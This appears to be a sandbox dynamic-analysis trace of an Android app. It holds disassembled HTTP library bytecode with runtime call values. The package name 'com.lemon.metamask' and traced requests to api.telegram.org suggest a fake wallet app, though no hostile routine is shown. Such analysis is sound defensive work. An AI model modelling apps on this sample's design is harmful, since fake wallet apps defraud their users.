        83invoke-virtual {v7}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        • Time: 1302609
          • This:
            • cz.msebera.android.httpclient.extras.HttpClientAndroidLog@5922fbe
          • Return:
            • false
        84move-result v7
        85if-eqz v7, :cond_86
        87iget-object v7, v1, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnectionOperator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        88new-instance v11, Ljava/lang/StringBuilder;
        90invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
        92const-string v4, "Connecting to "
        94invoke-virtual {v11, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        96invoke-virtual {v11, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        98invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        99move-result-object v4
        101invoke-virtual {v7, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        102cond_86:
        103invoke-interface {v8, v14, v15, v0, v6}, Lcz/msebera/android/httpclient/conn/scheme/SchemeSocketFactory;->connectSocket(Ljava/net/Socket;Ljava/net/InetSocketAddress;Ljava/net/InetSocketAddress;Lcz/msebera/android/httpclient/params/HttpParams;)Ljava/net/Socket;
        104move-result-object v0
        105if-eq v14, v0, :cond_90
        107invoke-interface {v2, v0, v3}, Lcz/msebera/android/httpclient/conn/OperatedClientConnection;->opening(Ljava/net/Socket;Lcz/msebera/android/httpclient/HttpHost;)V
        108move-object v14, v0
        109cond_90:
        110invoke-virtual {v1, v14, v5, v6}, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnectionOperator;->prepareSocket(Ljava/net/Socket;Lcz/msebera/android/httpclient/protocol/HttpContext;Lcz/msebera/android/httpclient/params/HttpParams;)V
        112invoke-interface {v8, v14}, Lcz/msebera/android/httpclient/conn/scheme/SchemeSocketFactory;->isSecure(Ljava/net/Socket;)Z
        113move-result v0
        115invoke-interface {v2, v0, v6}, Lcz/msebera/android/httpclient/conn/OperatedClientConnection;->openCompleted(ZLcz/msebera/android/httpclient/params/HttpParams;)V
        116try_end_9a: return-void
        117catch_9b: move-exception v0
        118if-nez v13, :cond_9f
        119goto/16 :goto_a3
        120cond_9f: throw v0
        121catch_a0: move-exception v0
        122if-nez v13, :cond_d3
        123goto_a3:
        124iget-object v0, v1, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnectionOperator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        126invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        127move-result v0
        128if-eqz v0, :cond_cb
        130iget-object v0, v1, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnectionOperator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        131new-instance v4, Ljava/lang/StringBuilder;
        133invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        135const-string v7, "Connect to "
        137invoke-virtual {v4, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        139invoke-virtual {v4, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        141const-string v7, " timed out. "
        143invoke-virtual {v4, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        145const-string v7, "Connection will be retried using another IP address"
        147invoke-virtual {v4, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        149invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        150move-result-object v4
        152invoke-virtual {v0, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        153cond_cb: add-int/lit8 v12, v12, 0x1
        154move-object/from16 v4, p3
        155const/4 v7, 0x1
        156const/4 v11, 0x0
        157goto/16 :goto_48
        158cond_d3: throw v0
        159cond_d4: return-void
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter.isOpen
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.getClass
        • java.lang.Class.getName
        • java.lang.StringBuilder.append
        • java.io.IOException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.io.IOException.getMessage
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • http.request
        • I/O exception (
        • ) caught when connecting to
        • :
        • Retrying connect to
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        8move-result-object v0
        10invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;->getRequest()Lcz/msebera/android/httpclient/impl/client/RequestWrapper;
        11move-result-object p1
        12const/4 v1, 0x0
        13goto_9:
        14const-string v2, "http.request"
        16invoke-interface {p2, v2, p1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        17add-int/lit8 v1, v1, 0x1
        18try_start_10:
        19iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        21invoke-interface {v2}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->isOpen()Z
        • Time: 1302509
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter@aa262c3
          • Return:
            • false
        22move-result v2
        23if-nez v2, :cond_20
        25iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        27iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        29invoke-interface {v2, v0, p2, v3}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->open(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/protocol/HttpContext;Lcz/msebera/android/httpclient/params/HttpParams;)V
        30goto/16 :goto_2b
        31cond_20:
        32iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        34iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        36invoke-static {v3}, Lcz/msebera/android/httpclient/params/HttpConnectionParams;->getSoTimeout(Lcz/msebera/android/httpclient/params/HttpParams;)I
        37move-result v3
        39invoke-interface {v2, v3}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->setSocketTimeout(I)V
        40goto_2b:
        41invoke-virtual {p0, v0, p2}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->establishRoute(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        42try_end_2e: return-void
        43catch_2f: move-exception v2
        44try_start_30:
        45iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        47invoke-interface {v3}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->close()V
        48try_end_35:
        49iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->retryHandler:Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;
        51invoke-interface {v3, v2, v1, p2}, Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;->retryRequest(Ljava/io/IOException;ILcz/msebera/android/httpclient/protocol/HttpContext;)Z
        52move-result v3
        53if-eqz v3, :cond_a0
        55iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        57invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isInfoEnabled()Z
        58move-result v3
        59if-eqz v3, :cond_9
        61iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        62new-instance v4, Ljava/lang/StringBuilder;
        64invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        66const-string v5, "I/O exception ("
        68invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        70invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        71move-result-object v5
        73invoke-virtual {v5}, Ljava/lang/Class;->getName()Ljava/lang/String;
        74move-result-object v5
        76invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        78const-string v5, ") caught when connecting to "
        80invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        82invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        84const-string v5, ": "
        86invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        88invoke-virtual {v2}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
        89move-result-object v5
        91invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        93invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        94move-result-object v4
        96invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->info(Ljava/lang/Object;)V
        98iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        100invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        101move-result v3
        102if-eqz v3, :cond_88
        104iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        106invoke-virtual {v2}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
        107move-result-object v4
        109invoke-virtual {v3, v4, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;Ljava/lang/Throwable;)V
        110cond_88:
        111iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        112new-instance v3, Ljava/lang/StringBuilder;
        114invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        116const-string v4, "Retrying connect to "
        118invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        120invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        122invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        123move-result-object v3
        125invoke-virtual {v2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->info(Ljava/lang/Object;)V
        126goto/16 :goto_9
        127cond_a0: throw v2
        Cross References
        APIs
        • com.lemon.metamask.Activity.MainActivity$4.getUseSynchronousMode
        • java.lang.IllegalArgumentException.<init>
        • java.util.concurrent.ExecutorService.submit
        • java.util.Map.get
        • java.util.LinkedList.<init>
        • java.util.Collections.synchronizedList
        • java.util.Map.put
        • java.util.List.add
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Iterator.remove
        • java.lang.IllegalArgumentException.<init>
        Strings
        • Synchronous ResponseHandler used in AsyncHttpClient. You should create your response handler in a looper thread or use SyncHttpClient instead.
        • Content-Type
        • AsyncHttpClient
        • Passed contentType will be ignored because HttpEntity sets content type
        • ResponseHandler must not be null
        • HttpUriRequest must not be null
        Position Instruction Meta Information
        0if-eqz p3, :cond_a2
        1if-eqz p5, :cond_9a
        3invoke-interface {p5}, Lcom/loopj/android/http/ResponseHandlerInterface;->getUseSynchronousMode()Z
        • Time: 1301701
          • This:
            • com.lemon.metamask.Activity.MainActivity$4@b30a799
          • Return:
            • false
        4move-result v0
        5if-eqz v0, :cond_19
        7invoke-interface {p5}, Lcom/loopj/android/http/ResponseHandlerInterface;->getUsePoolThread()Z
        8move-result v0
        9if-eqz v0, :cond_11
        10goto/16 :goto_19
        11cond_11: new-instance p1, Ljava/lang/IllegalArgumentException;
        13const-string p2, "Synchronous ResponseHandler used in AsyncHttpClient. You should create your response handler in a looper thread or use SyncHttpClient instead."
        15invoke-direct {p1, p2}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
        16throw p1
        17cond_19: if-eqz p4, :cond_3f
        18instance-of v0, p3, Lcz/msebera/android/httpclient/client/methods/HttpEntityEnclosingRequestBase;
        19if-eqz v0, :cond_3a
        20move-object v0, p3
        21check-cast v0, Lcz/msebera/android/httpclient/client/methods/HttpEntityEnclosingRequestBase;
        23invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/methods/HttpEntityEnclosingRequestBase;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        24move-result-object v0
        25if-eqz v0, :cond_3a
        27const-string v0, "Content-Type"
        29invoke-interface {p3, v0}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->containsHeader(Ljava/lang/String;)Z
        30move-result v0
        31if-eqz v0, :cond_3a
        33sget-object v0, Lcom/loopj/android/http/AsyncHttpClient;->log:Lcom/loopj/android/http/LogInterface;
        35const-string v1, "AsyncHttpClient"
        37const-string v2, "Passed contentType will be ignored because HttpEntity sets content type"
        39invoke-interface {v0, v1, v2}, Lcom/loopj/android/http/LogInterface;->w(Ljava/lang/String;Ljava/lang/String;)V
        40goto/16 :goto_3f
        41cond_3a:
        42const-string v0, "Content-Type"
        44invoke-interface {p3, v0, p4}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->setHeader(Ljava/lang/String;Ljava/lang/String;)V
        45cond_3f:
        46invoke-interface {p3}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        47move-result-object v0
        49invoke-interface {p5, v0}, Lcom/loopj/android/http/ResponseHandlerInterface;->setRequestHeaders([Lcz/msebera/android/httpclient/Header;)V
        51invoke-interface {p3}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->getURI()Ljava/net/URI;
        52move-result-object v0
        54invoke-interface {p5, v0}, Lcom/loopj/android/http/ResponseHandlerInterface;->setRequestURI(Ljava/net/URI;)V
        56invoke-virtual/range {p0 .. p6}, Lcom/loopj/android/http/AsyncHttpClient;->newAsyncHttpRequest(Lcz/msebera/android/httpclient/impl/client/DefaultHttpClient;Lcz/msebera/android/httpclient/protocol/HttpContext;Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;Ljava/lang/String;Lcom/loopj/android/http/ResponseHandlerInterface;Landroid/content/Context;)Lcom/loopj/android/http/AsyncHttpRequest;
        57move-result-object p1
        59iget-object p2, p0, Lcom/loopj/android/http/AsyncHttpClient;->threadPool:Ljava/util/concurrent/ExecutorService;
        61invoke-interface {p2, p1}, Ljava/util/concurrent/ExecutorService;->submit(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
        62new-instance p2, Lcom/loopj/android/http/RequestHandle;
        64invoke-direct {p2, p1}, Lcom/loopj/android/http/RequestHandle;-><init>(Lcom/loopj/android/http/AsyncHttpRequest;)V
        65if-eqz p6, :cond_99
        67iget-object p1, p0, Lcom/loopj/android/http/AsyncHttpClient;->requestMap:Ljava/util/Map;
        68monitor-enter p1
        69try_start_60:
        70iget-object p3, p0, Lcom/loopj/android/http/AsyncHttpClient;->requestMap:Ljava/util/Map;
        72invoke-interface {p3, p6}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        73move-result-object p3
        74check-cast p3, Ljava/util/List;
        75if-nez p3, :cond_78
        76new-instance p3, Ljava/util/LinkedList;
        78invoke-direct {p3}, Ljava/util/LinkedList;-><init>()V
        80invoke-static {p3}, Ljava/util/Collections;->synchronizedList(Ljava/util/List;)Ljava/util/List;
        81move-result-object p3
        83iget-object p4, p0, Lcom/loopj/android/http/AsyncHttpClient;->requestMap:Ljava/util/Map;
        85invoke-interface {p4, p6, p3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        86cond_78: monitor-exit p1
        87try_end_79:
        88invoke-interface {p3, p2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        90invoke-interface {p3}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        91move-result-object p1
        92cond_80:
        93invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        94move-result p3
        95if-eqz p3, :cond_99
        97invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        98move-result-object p3
        99check-cast p3, Lcom/loopj/android/http/RequestHandle;
        101invoke-virtual {p3}, Lcom/loopj/android/http/RequestHandle;->shouldBeGarbageCollected()Z
        102move-result p3
        103if-eqz p3, :cond_80
        105invoke-interface {p1}, Ljava/util/Iterator;->remove()V
        106goto/16 :goto_80
        107catchall_96: move-exception p2
        108try_start_97: monitor-exit p1
        109try_end_98: throw p2
        110cond_99: return-object p2
        111cond_9a: new-instance p1, Ljava/lang/IllegalArgumentException;
        113const-string p2, "ResponseHandler must not be null"
        115invoke-direct {p1, p2}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
        116throw p1
        117cond_a2: new-instance p1, Ljava/lang/IllegalArgumentException;
        119const-string p2, "HttpUriRequest must not be null"
        121invoke-direct {p1, p2}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
        122throw p1
        APIs
        • java.lang.String.equalsIgnoreCase
        • cz.msebera.android.httpclient.message.BufferedHeader.getValue
        • java.lang.Integer.parseInt
        • cz.msebera.android.httpclient.message.BasicListHeaderIterator.hasNext
        • cz.msebera.android.httpclient.message.BasicTokenIterator.hasNext
        • cz.msebera.android.httpclient.message.BasicTokenIterator.nextToken
        Strings
        • HTTP response
        • HTTP context
        • Transfer-Encoding
        • chunked
        • Content-Length
        • 243
        • Connection
        • Proxy-Connection
        • keep-alive
        • Close
        • Keep-Alive
        Position Instruction Meta Information
        1const-string v0, "HTTP response"
        3invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        5const-string v0, "HTTP context"
        7invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        9invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        10move-result-object p2
        12invoke-interface {p2}, Lcz/msebera/android/httpclient/StatusLine;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        13move-result-object p2
        15const-string v0, "Transfer-Encoding"
        17invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpResponse;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        18move-result-object v0
        19const/4 v1, 0x1
        20const/4 v2, 0x0
        21if-eqz v0, :cond_29
        23const-string v3, "chunked"
        25invoke-interface {v0}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        26move-result-object v0
        28invoke-virtual {v3, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        29move-result v0
        30if-nez v0, :cond_47
        31return v2
        32cond_29:
        33invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/DefaultConnectionReuseStrategy;->canResponseHaveBody(Lcz/msebera/android/httpclient/HttpResponse;)Z
        34move-result v0
        35if-eqz v0, :cond_47
        37const-string v0, "Content-Length"
        39invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpResponse;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        40move-result-object v0
        41array-length v3, v0
        42if-ne v3, v1, :cond_46
        43aget-object v0, v0, v2
        44try_start_3a:
        45invoke-interface {v0}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        • Time: 1304610
          • This:
            • Content-Length: 243
          • Return:
            • 243
        46move-result-object v0
        48invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        49move-result v0
        50try_end_42: if-gez v0, :cond_47
        51return v2
        52catch_45: return v2
        53cond_46: return v2
        54cond_47:
        55const-string v0, "Connection"
        57invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpResponse;->headerIterator(Ljava/lang/String;)Lcz/msebera/android/httpclient/HeaderIterator;
        58move-result-object v0
        60invoke-interface {v0}, Lcz/msebera/android/httpclient/HeaderIterator;->hasNext()Z
        • Time: 1304638
          • This:
            • cz.msebera.android.httpclient.message.BasicListHeaderIterator@dfe532c
          • Return:
            • true
        61move-result v3
        62if-nez v3, :cond_59
        64const-string v0, "Proxy-Connection"
        66invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpResponse;->headerIterator(Ljava/lang/String;)Lcz/msebera/android/httpclient/HeaderIterator;
        67move-result-object v0
        68cond_59:
        69invoke-interface {v0}, Lcz/msebera/android/httpclient/HeaderIterator;->hasNext()Z
        • Time: 1304640
          • This:
            • cz.msebera.android.httpclient.message.BasicListHeaderIterator@dfe532c
          • Return:
            • true
        70move-result p1
        71if-eqz p1, :cond_85
        72try_start_5f:
        73invoke-virtual {p0, v0}, Lcz/msebera/android/httpclient/impl/DefaultConnectionReuseStrategy;->createTokenIterator(Lcz/msebera/android/httpclient/HeaderIterator;)Lcz/msebera/android/httpclient/TokenIterator;
        74move-result-object p1
        75const/4 v0, 0x0
        76goto_64:
        77invoke-interface {p1}, Lcz/msebera/android/httpclient/TokenIterator;->hasNext()Z
        • Time: 1304669
          • This:
            • cz.msebera.android.httpclient.message.BasicTokenIterator@90cab8a
          • Return:
            • true
        • Time: 1304678
          • This:
            • cz.msebera.android.httpclient.message.BasicTokenIterator@90cab8a
          • Return:
            • false
        78move-result v3
        79if-eqz v3, :cond_81
        81invoke-interface {p1}, Lcz/msebera/android/httpclient/TokenIterator;->nextToken()Ljava/lang/String;
        • Time: 1304673
          • This:
            • cz.msebera.android.httpclient.message.BasicTokenIterator@90cab8a
          • Return:
            • keep-alive
        82move-result-object v3
        84const-string v4, "Close"
        86invoke-virtual {v4, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1304674
          • This:
            • Close
          • p0: keep-alive
          • Return:
            • false
        87move-result v4
        88if-eqz v4, :cond_77
        89return v2
        90cond_77:
        91const-string v4, "Keep-Alive"
        93invoke-virtual {v4, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1304676
          • This:
            • java.lang.String@9df7243
          • p0: keep-alive
          • Return:
            • true
        94move-result v3
        95try_end_7d: if-eqz v3, :cond_64
        96const/4 v0, 0x1
        97goto/16 :goto_64
        98cond_81: if-eqz v0, :cond_85
        99return v1
        100catch_84: return v2
        101cond_85:
        102sget-object p1, Lcz/msebera/android/httpclient/HttpVersion;->HTTP_1_0:Lcz/msebera/android/httpclient/HttpVersion;
        104invoke-virtual {p2, p1}, Lcz/msebera/android/httpclient/ProtocolVersion;->lessEquals(Lcz/msebera/android/httpclient/ProtocolVersion;)Z
        105move-result p1
        106xor-int/2addr p1, v1
        107return p1
        Cross References
        APIs
        • java.util.List.size
        • java.util.List.get
        • cz.msebera.android.httpclient.message.BasicHeader.getName
        • java.lang.String.equalsIgnoreCase
        Strings
        • api.telegram.org
        • java.lang.String@2d08db7
        • java.lang.String@6158cb6
        • java.lang.String@9df7243
        • java.lang.String@c744c8d
        • java.lang.String@e788f66
        • java.lang.String@ee5be42
        • java.lang.String@fa441f9
        • Accept-Encoding
        • Authorization
        • Connection
        • Expect
        • Host
        • Proxy-Authorization
        • User-Agent
        Position Instruction Meta Information
        0const/4 v0, 0x0
        1const/4 v1, 0x0
        2goto_2:
        3iget-object v2, p0, Lcz/msebera/android/httpclient/message/HeaderGroup;->headers:Ljava/util/List;
        5invoke-interface {v2}, Ljava/util/List;->size()I
        6move-result v2
        7if-ge v1, v2, :cond_21
        9iget-object v2, p0, Lcz/msebera/android/httpclient/message/HeaderGroup;->headers:Ljava/util/List;
        11invoke-interface {v2, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
        12move-result-object v2
        13check-cast v2, Lcz/msebera/android/httpclient/Header;
        15invoke-interface {v2}, Lcz/msebera/android/httpclient/Header;->getName()Ljava/lang/String;
        • Time: 1303206
          • This:
            • Content-Length: 0
          • This:
            • Content-Length: 0
          • Return:
            • java.lang.String@6158cb6
          • Return:
            • java.lang.String@6158cb6
        • Time: 1303209
          • This:
            • Content-Length: 0
          • Return:
            • java.lang.String@2d08db7
        • Time: 1303211
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@844924
          • p0: java.lang.String@6158cb6
        • Time: 1303214
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@844924
          • p0: java.lang.String@c744c8d
        • Time: 1303217
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@844924
          • p0: java.lang.String@2d08db7
        • Time: 1303219
          • This:
            • java.lang.String@ee5be42
          • p0: [C@d64e53
          • p0: Content-Length: 0
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@e4ed390
          • Return:
            • java.lang.String@ee5be42
        • Time: 1303222
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@844924
          • Return:
            • java.lang.String@ee5be42
        • Time: 1303265
          • This:
            • Host: api.telegram.org
          • This:
            • Host: api.telegram.org
          • Return:
            • Host
          • Return:
            • Host
        • Time: 1303267
          • This:
            • Host: api.telegram.org
          • Return:
            • api.telegram.org
        • Time: 1303269
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@260dbc1
          • p0: Host
        • Time: 1303273
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@260dbc1
          • p0: api.telegram.org
        • Time: 1303275
          • This:
            • java.lang.String@e788f66
          • p0: [C@3ea52a7
          • p0: Host: api.telegram.org
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@41e4354
          • Return:
            • java.lang.String@e788f66
        • Time: 1303278
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@260dbc1
          • Return:
            • java.lang.String@e788f66
        • Time: 1303294
          • This:
            • Connection: Keep-Alive
          • This:
            • Connection: Keep-Alive
          • Return:
            • Connection
          • Return:
            • Connection
        • Time: 1303296
          • This:
            • Connection: Keep-Alive
          • Return:
            • java.lang.String@9df7243
        • Time: 1303299
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@bc640c0
          • p0: Connection
        • Time: 1303307
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@bc640c0
          • p0: java.lang.String@9df7243
        • Time: 1303311
          • This:
            • java.lang.String@fa441f9
          • p0: [C@4a0253e
          • p0: Connection: Keep-Alive
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@41e4354
          • Return:
            • java.lang.String@fa441f9
        • Time: 1303315
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@bc640c0
          • Return:
            • java.lang.String@fa441f9
        16move-result-object v2
        18invoke-virtual {v2, p1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1303225
          • This:
            • java.lang.String@6158cb6
          • p0: Host
          • Return:
            • false
        • Time: 1303263
          • This:
            • java.lang.String@6158cb6
          • p0: Connection
          • Return:
            • false
        • Time: 1303285
          • This:
            • java.lang.String@6158cb6
          • p0: User-Agent
          • Return:
            • false
        • Time: 1303322
          • This:
            • java.lang.String@6158cb6
          • p0: Expect
          • Return:
            • false
        • Time: 1303441
          • This:
            • java.lang.String@6158cb6
          • p0: Authorization
          • Return:
            • false
        • Time: 1303455
          • This:
            • java.lang.String@6158cb6
          • p0: Proxy-Authorization
          • Return:
            • false
        • Time: 1303477
          • This:
            • java.lang.String@6158cb6
          • p0: Accept-Encoding
          • Return:
            • false
        19move-result v2
        20if-eqz v2, :cond_1e
        21const/4 p1, 0x1
        22return p1
        23cond_1e: add-int/lit8 v1, v1, 0x1
        24goto/16 :goto_2
        25cond_21: return v0
        APIs
        • java.lang.reflect.UndeclaredThrowableException.<init>
        • cz.msebera.android.httpclient.message.BasicStatusLine.getReasonPhrase
        • cz.msebera.android.httpclient.client.ClientProtocolException.<init>
        Strings
        • HTTP request
        • http.request-config
        • http.default-host
        • OK
        • java.lang.String@4fe691d
        • java.lang.String@5bad78c
        • java.lang.String@616cade
        • java.lang.String@73ec560
        • java.lang.String@829ed5
        • java.lang.String@9caa563
        • java.lang.String@c32a106
        • java.lang.String@dc7c792
        • java.lang.String@e1d7a19
        • java.lang.String@f3834bf
        • java.lang.String@f4293c7
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
